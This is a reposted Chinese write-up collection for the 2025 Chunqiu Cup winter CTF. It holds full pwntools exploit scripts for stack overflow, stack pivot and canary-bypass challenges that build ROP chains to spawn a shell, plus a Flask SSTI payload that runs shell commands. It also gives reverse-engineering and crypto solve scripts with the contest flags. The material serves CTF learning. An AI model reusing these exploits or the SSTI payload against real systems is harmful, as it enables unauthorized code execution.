文章总结: 本文档汇总了2025春秋杯冬季赛Writeup,涵盖PWN、Web、逆向及密码学。PWN题涉及栈溢出、栈迁移及Canary绕过等二进制利用;Web题为FlaskSSTI;逆向题含异或与魔改RC4。文档附带详细Exp代码,适合CTF选手学习实战技术。 综合评分: 92 文章分类: CTF,二进制安全,WEB安全,逆向分析
2025 春秋杯冬季赛 wp
赛查查
2026年2月5日 11:12 北京
以下文章来源于viol1t安全实验室 ,作者starrysky cheny
viol1t安全实验室 .
We are a team full of dreams, we will never stop moving forward!
bypass
main 函数中输入格式不正确的时候会输出 puts 函数地址,泄露 libc 地址,输入长度为 4 内容为 \x00 的时候会进入 compare 函数
__int64 __fastcall main(int a1, char **a2, char **a3){ ... *(_QWORD *)s = &puts; ((void (__fastcall *)(__int64 *, char **, char *))init_0)(&v6, a2, buf); fd = open(".BYPASS", 0); if ( fd >= 0 ) { if ( read(fd, buf, 0x1000uLL) ) { close(fd); if ( buf[strlen(buf) - 1] == '\n' ) buf[strlen(buf) - 1] = 0; v8 = strchr(buf, ':'); if ( v8 ) { if ( (unsigned __int64)(v8 - buf) <= 0x3F ) { if ( strlen(v8 + 1) <= 0x3F ) { *v8 = 0; strcpy(dest, buf); strcpy(byte_602140, v8 + 1); while ( 1 ) { while ( 1 ) { if ( read(0, &v7, 4uLL) != 4 ) return 1LL; if ( v7 ) break; compare(); } if ( v7 == 1 ) break; puts("Invalid"); puts(s); } return 0LL; } ...}
漏洞点在 compare 函数中,两次 read 都是向 buf 读取并且长度都是 0x200,第一次读取会复制到 KEY 中,第二次读取会复制到 VAL 中,而离 rbp 最近的 VAL 距离也超过 0x200,但是从 buf 复制的过程是遇 \x00 停止,所以可以从 buf 一直复制到 KEY,加起来就超过 0x200 了,但是在覆盖到 ret 的过程中还需要注意 rbp-2h 是复制的 index,要合理控制这个 i 让复制过程正确进行
int compare(){ ssize_t v0; // rax char buf[512]; // [rsp+0h] [rbp-610h] BYREF char KEY[512]; // [rsp+200h] [rbp-410h] BYREF char VAL[526]; // [rsp+400h] [rbp-210h] BYREF __int16 i; // [rsp+60Eh] [rbp-2h]
memset(VAL, 0, 0x200uLL); memset(KEY, 0, sizeof(KEY)); memset(buf, 0, sizeof(buf)); v0 = read(0, buf, 0x200uLL); if ( v0 >= 0 ) { LODWORD(v0) = strncmp(buf, "KEY: ", 5uLL); if ( !(_DWORD)v0 ) { for ( i = 5; buf[i]; ++i ) KEY[i - 5] = buf[i]; KEY[i - 5] = 0; memset(buf, 0, sizeof(buf)); v0 = read(0, buf, 0x200uLL); if ( v0 >= 0 ) { LODWORD(v0) = strncmp(buf, "VAL: ", 5uLL); if ( !(_DWORD)v0 ) { for ( i = 5; buf[i]; ++i ) VAL[i - 5] = buf[i]; ... } } return v0;}
exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1if debug: r = remote('39.106.48.123', 44314)else: r = process(file_name)
elf = ELF(file_name)
def dbg(): gdb.attach(r)
def get_libc(): return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r.send('abcd')
puts_addr = get_libc()libc = ELF('./libc/libc-2.27.so')libc_base = puts_addr - libc.sym['puts']
r.send('\x00\x00\x00\x00')p = b'KEY: ' + b'c' * 19 + b'\x13\x02' + b'aaaaaaaa' + p64(0x4f302 + libc_base)p = p.ljust(0x200, b'a')r.send(p)r.send(b'VAL: ' + b'b' * (0x200 - 0x5))
r.interactive()
gender_simulation
菜单里就给了 libc 地址,这题直接测试发现在输入 2 2 之后再输入可以直接劫持程序流,有个后门是性别为购物袋,存在栈溢出漏洞,直接溢出写 rop 链执行 system(‘/bin/sh’)
ssize_t gender(void){ __int64 v0; // rax _BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF
v0 = std::operator<<<std::char_traits<char>>( &std::cout, "If you think you are a shopping bag, please leave your gender certificate"); std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>); return read(0, buf, 0x100uLL);}
exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0if debug: r = remote('47.94.84.92', 30857)else: r = process(file_name)
elf = ELF(file_name)
def dbg(): gdb.attach(r)
def get_libc(): return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r.recvuntil(b'0x')addr = int(r.recv(12), 16)libc = ELF('./libc6_2.39-0ubuntu8.3_amd64/usr/lib/x86_64-linux-gnu/libc.so.6')libc_base = addr - libc.sym['setvbuf']
r.sendline('2')r.sendline('2')
ret = 0x000000000040201apop_rdi_ret = 0x000000000010f75b + libc_basesystem = libc_base + libc.sym['system']binsh = libc_base + libc.search(b'/bin/sh\x00').__next__()
r.sendlineafter(b'certificate', p64(0x4025E6))
p = b'a' * 0x18 + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)r.sendlineafter(b'certificate', p)
r.interactive()
Riya
输入 n 直接跳到 LABEL_10 送 shell
void __fastcall main(__int64 a1, char **a2, char **a3){ ... puts("y/n"); read(0, &v3, 1uLL); if ( v3 != 'Y' ) { if ( v3 <= 'Y' ) { ...LABEL_10: setuid(0x3E8u); backdoor(); exit(0); } if ( v3 == 'n' ) goto LABEL_10; if ( v3 != 'y' ) goto LABEL_11; } ...}
toys
这题只有一个栈溢出,高版本的libc还没什么 gadgets
__int64 __fastcall main(__int64 a1, char **a2, char **a3){ char s[128]; // [rsp+0h] [rbp-80h] BYREF
init(); puts("There are no toys here!"); printf("Data: "); fgets(s, 0x1337, stdin); if ( strlen(s) > 0x80 ) { puts("Too many!"); exit(-1); } puts("OK!"); return 0LL;}
思路:
- 由于缺少 pop_rdi_ret 等 gadgets,而且程序中的 puts 输出的都是 rodata 段的数据,而 strlen_len 的参数是 rbp – 0x80,所以需要改 strlen_got 为 puts_plt 去泄露在 rbp – 0x80提前布置好的 libc 地址
- 修改 strlen_got 的方法是利用 fgets 向 rbp – 0x80 的位置写,修改 rbp 为 strlen_got + 0x80 再用 fgets 输入就能覆盖 strlen_got 为 puts_plt
- 直接把栈迁移到 got 表那块会覆盖到其他有用的地址,所以需要迁移到程序段高地址去写 rop 链,其中一次输入在 strlen_got + 0x80
exp分析:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0if debug: r = remote('node4.buuoj.cn', 26870)else: r = process(file_name)
elf = ELF(file_name)
def dbg(): gdb.attach(r)
def get_libc(): return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
main = 0x401274got_addr = 0x404000leave_ret = 0x00000000004012cdputs_plt = elf.plt['puts']strlen_got = elf.got['strlen']strlen = 0x40128C
p = b'\x00' * 0x80 + p64(got_addr + 0x800) + p64(main)r.sendlineafter(b':', p)
p = b'\x00' * 0x80 + p64(got_addr + 0x100) + p64(main) + p64(strlen_got + 0x80) + p64(main) + p64(strlen_got + 0x98) + p64(strlen) + p64(strlen_got + 0x700) + p64(main)r.sendlineafter(b'OK', p)
p = p64(0) + p64(got_addr + 0x820) + p64(leave_ret) + p64(0) + p64(got_addr + 0x830) + p64(leave_ret)p = p.ljust(0x80, b'\x00') + p64(got_addr + 0x810) + p64(leave_ret)r.sendlineafter(b'OK', p)
r.sendlineafter(b'OK', p64(puts_plt))
libc_base = get_libc() - 0x88540libc = ELF('./2.39/libc.so.6')
system = libc_base + libc.sym['system']binsh = libc_base + libc.search(b'/bin/sh').__next__()pop_rdi_ret = libc_base + 0x000000000010f75b
p = b'\x00' * 0x88 + p64(pop_rdi_ret) + p64(binsh) + p64(system)r.sendlineafter(b'OK', p)
r.interactive()
p = b’\x00′ * 0x80 + p64(got_addr + 0x800) + p64(main)
=> rbp = got + 0x800
p = b’\x00′ * 0x80 + p64(got_addr + 0x100) + p64(main) + p64(strlen_got + 0x80) + p64(main) + p64(strlen_got + 0x98) + p64(strlen) + p64(strlen_got + 0x700) + p64(main)
=> rbp = got + 0x100
got + 0x800 : p64(got_addr + 0x100) p64(main)got + 0x810 : p64(strlen_got + 0x80) p64(main)got + 0x820 : p64(strlen_got + 0x98) p64(strlen)got + 0x830 : p64(strlen_got + 0x700) p64(main)
p = p64(0) + p64(got_addr + 0x820) + p64(leave_ret) + p64(0) + p64(got_addr + 0x830) + p64(leave_ret)
p = p.ljust(0x80, b’\x00′) + p64(got_addr + 0x810) + p64(leave_ret)
=> rbp = got + 0x810
got + 0x80 : p64(0) p64(got_addr + 0x820) got + 0x90 : p64(leave_ret) p64(0)got + 0xa0 : p64(got_addr + 0x830) p64(leave_ret)got + 0x100 : p64(got_addr + 0x810) p64(leave_ret)
接下来的程序流:
- leave_ret 迁移到 got_addr + 0x818,执行 main
rbp : got + 0x100 => got + 0x810 => strlen_got + 0x80
两次 pop rbp 后 rbp 变成 strlen_got + 0x80
- 此时 fgets 就是向 rbp – 0x80 即 strlen_got 读,发送 p64(puts_plt) 即可改 strlen_got 为 puts_plt
rbp : strlen_got + 0x80 = got + 0x88 => got_addr + 0x820 => strlen_got + 0x98 = got + 0xa0ret : got + 0x90 => leave_ret
- leave_ret 迁移到 rbp + 8 = got_addr + 0x828 => strlen,执行 main 中的 strlen,迁移时执行两次 pop rbp 使 rbp 变成 got + 0xa0
rbp : got + 0xa0 => got_addr + 0x830ret : got + 0xa8 => leave_ret
所以 strlen 的一参是 rbp – 0x80 = got + 0x20 = setvbuf_got,而 strlen_got 已经被改成 puts_plt,相当于执行 puts 输出了 setvbuf_got,最后 ret 是 leave_ret
- 再次迁移到 rbp + 8 = got_addr + 0x838 = main,最后一次利用栈溢出写 rop 链执行 system(‘/bin/sh’)
rogue_like
本题有三次选择:
第一次选择一个武器,有三个选择,case 1 设置 libc 中任意 64 位地址为 0,case 2 写 libc 中任意地址一个 byte,case 3 泄露 /proc/self/maps 中的地址;
第二次选择一个祝福,case 1 会崩溃,case 2 和 case 3 功能 都是给任意地址加上 5 以内的值;
第三次选择一个挑战,case 1 溢出 0x10,case 2 输出 0x120 后输入 0xf0,无溢出,case 3 两次 read,一次刚好到 rbp,并且存在栈的 off-by-null
但是题目开了 canary,所以需要组合三次选择来绕过 canary 并且执行 rop
思路:第一次选 1,改 tls 中的 canary 为 0,第二次选 2,让 got 表中的 alarm + 5 得到 syscall,第三次选 3,程序中已经有 /bin/sh,再利用第二次 read 控制 rax 执行 syscall 即可
exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0if debug: r = remote('node4.buuoj.cn', 26870)else: r = process(file_name)
elf = ELF(file_name)
def dbg(): gdb.attach(r)
def get_libc(): return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pop_rdi_ret = 0x00000000004013f4pop_rsi_ret = 0x00000000004013f6pop_rdx_ret = 0x00000000004013f8ret = 0x00000000004007febinsh = 0x00000000004019d7syscall = elf.plt['alarm']
r.sendafter(b'>', b'1')r.sendafter(b'!', str(0x2568))
r.sendafter(b'>', b'2')r.sendafter(b'increase.', b'5')r.sendafter(b'increase.', str(0x602058))
r.send(b'3')p = b'a' * 0x7 + p64(ret) * 24 + p64(pop_rdi_ret) + p64(binsh) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(syscall) + p64(0) * 2r.send(p)p = b'a' * 0x3 + p64(ret) * 7r.send(p)
r.interactive()
easy_flask
直接用hackbar生成的ssti的exp改改:
{{g.pop.globals.builtins'import'.popen('cat flag').read()}}
简单算术
异或爆破,随波逐流穷举异或0-200在31找到flag:flag{x0r_Brute_is_easy!}
easy-asm
flag{dea54885-92b4-11ef-b153-3c0af33af908}
已知flag开头
当黑盒做 直接猜出排序规律 根据偶数位的大小排序 两两一组
ida_chars1 = [ 0x22, 0x10, 0x22, 0x15, 0x66, 0x16,
0x11, 0x20, 0x30, 0x20, 0x21, 0x22, 0x2C, 0x22, 0xCC, 0x22, 0xCC, 0x2C, 0x40, 0x30, 0x21, 0x33, 0x66, 0x33, 0x44, 0x40, 0x50, 0x40,
0x55, 0x41, 0x88, 0x42, 0x33, 0x60, 0x99, 0x88, 0xC2, 0xC2, 0x22, 0xCC,
0xFF, 0xFF,]# 0x22,0x10,0x22,0x15,0x66,0x16#9,10 15 16 13 14ida_chars2 = [ 0x44, 0x7C, 0x43, 0x72, 0x1D, 0x72, 0x74, 0x41, 0x05, 0x14, 0x19, 0x1A, 0x19, 0x0F, 0xF5, 0x10, 0xAE, 0x18, 0x6D, 0x01, 0x10, 0x56, 0x00, 0x1E, 0x26, 0x71, 0x65, 0x73, 0x78, 0x72, 0xEB, 0x72, 0x52, 0x06, 0xAA, 0xBB, 0xA3, 0xA4, 0x1B , 0xFC, 0xC7, 0x82]
for i in range(len(ida_chars2)): print(chr(ida_chars1[i] ^ ida_chars2[i]),end="") flag{dea54885-92b4-11ef-b153-3c0af33af908}
ezre
硬件断点调试
ida_chars = [ 0x5C, 0x76, 0x4A, 0x78, 0x15, 0x62, 0x05, 0x7C, 0x6B, 0x21, 0x40, 0x66, 0x5B, 0x1A, 0x48, 0x7A, 0x1E, 0x46, 0x7F, 0x28, 0x02, 0x75, 0x68, 0x2A, 0x34, 0x0C, 0x4B, 0x1D, 0x3D, 0x2E, 0x6B, 0x7A, 0x17, 0x45, 0x07, 0x75, 0x47, 0x27, 0x39, 0x78, 0x61, 0x0B]
xor_bytes = [ 0x3a, 0x1a, 0x2b, 0x1f, 0x6e, 0x0, 0x32, 0x45, 0x52, 0x44, 0x22, 0x55, 0x3a, 0x37, 0x7d, 0x43, 0x7b, 0x23, 0x52, 0x1c, 0x60, 0x46, 0x0a, 0x07, 0x56, 0x38, 0x72, 0x79, 0x10, 0x1d, 0x52, 0x4a, 0x2f, 0x75, 0x61, 0x16, 0x75, 0x14, 0x5c, 0x41, 0x58, 0x76]
decrypted_chars = []for i in range(42): decrypted_char = xor_bytes[i] ^ ida_chars[i] decrypted_chars.append(chr(decrypted_char))
decrypted_text = ''.join(decrypted_chars)print(decrypted_text)
ko0h
前面的东西全是fake seh跳到其他地方
简单魔改RC4+一个key改值
def rc4_init(s, key, Len): i = 0 j = 0 k = [0] * 256 tmp = 0 for i in range(256): s[i] = i k[i] = ord(key[i % Len]) for i in range(256): j = (j + s[i] + k[i]) % 256 s[i], s[j] = s[j], s[i]
def rc4_crypt(s, Data, Len): i = 0 j = 0 t = 0 k = 0 tmp = 0 for k in range(Len): i = (i + 1) % 256 j = (j + s[i]) % 256 tmp = s[i] s[i] = s[j] s[j] = tmp t = (s[i] + s[j]) % 256 Data[k] = (Data[k] + s[t]) % 256 # 魔改点
if __name__ == "__main__": s = [0] * 256 s2 = [0] * 256 key = "DDDDAAAASSSS" pData = [0x18, 0x9c, 0x47, 0x3d, 0x3b, 0xe1, 0x29, 0x27, 0x9f, 0x34, 0x83, 0xd5, 0xed, 0xb5, ord('n'), ord('Y'), 0x7f, 0xde, 0x47, 0xd7, 0x65, 0x3f, 0x7a, 0x33, 0x5b, 0x64, 0xb6, 0xfa, 0x94, 0x55, 0x87, 0x42, 0x20, 6, 0xc, 0x69, 0xfe, 0x72, 0xa9, 0xe4, 0xd1, 0x7c] len_pData = len(pData)
rc4_init(s, key, len(key))
for i in range(256): print(f"{s[i]:02X}", end=" ") if (i + 1) % 16 == 0: print() print("\\n")
for i in range(256): s2[i] = s[i] rc4_crypt(s, pData, len_pData) print(f"{bytes(pData)}") rc4_crypt(s2, pData, len_pData) print(f"pData={bytes(pData)}")
你是小哈斯?
依次解sha1
http://www.ttmd5.com/hash.php?type=5,flag{game_cqb_isis_cxyz}
通往哈希的旅程
cmd5.com在线解密:flag{18876011645}
funny_rsa
from Crypto.Util.number import *
funny1=-17696257697673533517695215344482784803953262308315416688683426036407670627060768442028628137969719289734388098357659521255966031131390425549974547376165392147394271974280020234101031837837842620775164967619688351222631803585213762205793801828461058523503457022704948803795360591719481537859524689187847958423587638744086265395438163720708785636319741908901866136858161996560525252461619641697255819255661269266471689541673348377717503957328827459396677344554172542244540931545166846117626585580964318010181586516365891413041095399344533013057011854734701706641516027767197631044458866554524544179750101814734153116374funny2=23686728880494758233026798487859622755203105120130180108222733038275788082047755828771429849079142070779731875136837978862880500205129022165600511611807590195341629179443057553694284913974985006590617143873019530710952420242412437467917519539591683898715990297750494900923245055632544763410401540518654522017115269508183482044872091052235608170710105631742176900306097734799793264202179181242015892763311753674799273300604804820015447161950996038795518844564861004398396796284113803759208011funny3=419166458284161364374927086939132546372091965414091344286510440034452974193054721041229068769658972346759176374539266235862042787888391905466876330331208651698002159575012622762558316612596034044109738533275009086940744966244759977014078484433213617582101347769476703012517531619023366639507114909172774156647998737369356116119513795863130218094614475699956104117183821832339358478426978211282822163928764161915824622224165694904342224081321345691796882691318330781141960650263488927837990954860719950761728580780956673732592771855694502630374907978111094148614378212006604233062606116168868545120407836000858982789824582335703891535021579560434875457656655941164757860852341484554015214879991896412137447010444797452119431147303295803678311972500421396900616845556636124424993090559354406417222700637726789045926994792374756038517484548544506630672251868349748176389591615802039026216656891403871728516658502023897343287181822303758976641229952646993446276281728919020747050486979968215989594984778920359425264076558022228448529089047021814759587052098774273578311709416672952218680244714492318709603579024funny4=13541898381047120826573743874105965191304100799517820464813250201030319771155430755606644860103469823030581858410957600027665504533335597988508084284252510961847999525811558651340906333101248760970154440885012717108131962658921396549020943832983712611749095468180648011521808106480590665594160479324931351996812185581193608244652792936715504284312172734662364676167010674359243219959129435127950232321130725013160026977752389409620674167037650367196748592335698164875097139931376389630867192761783936757260359606379088577977154378217235326249540098268616890307702288393952949444753648206049856544634755301197410481479n=(funny3+1025)//funny2
e = 65537d_values = []
for i in range(-1025, 1026): phi = -funny1 + i + 1 if phi > 0: try: d = inverse(e, phi) d_values.append(d) except ValueError: passfor d in d_values: hint = pow(funny4, d, n) m = funny2 // hint flag=long_to_bytes(m) if b'flag'in flag: print(flag)
加入我们
QQ招新群:977190810
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛查查 《2025 春秋杯冬季赛 wp》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论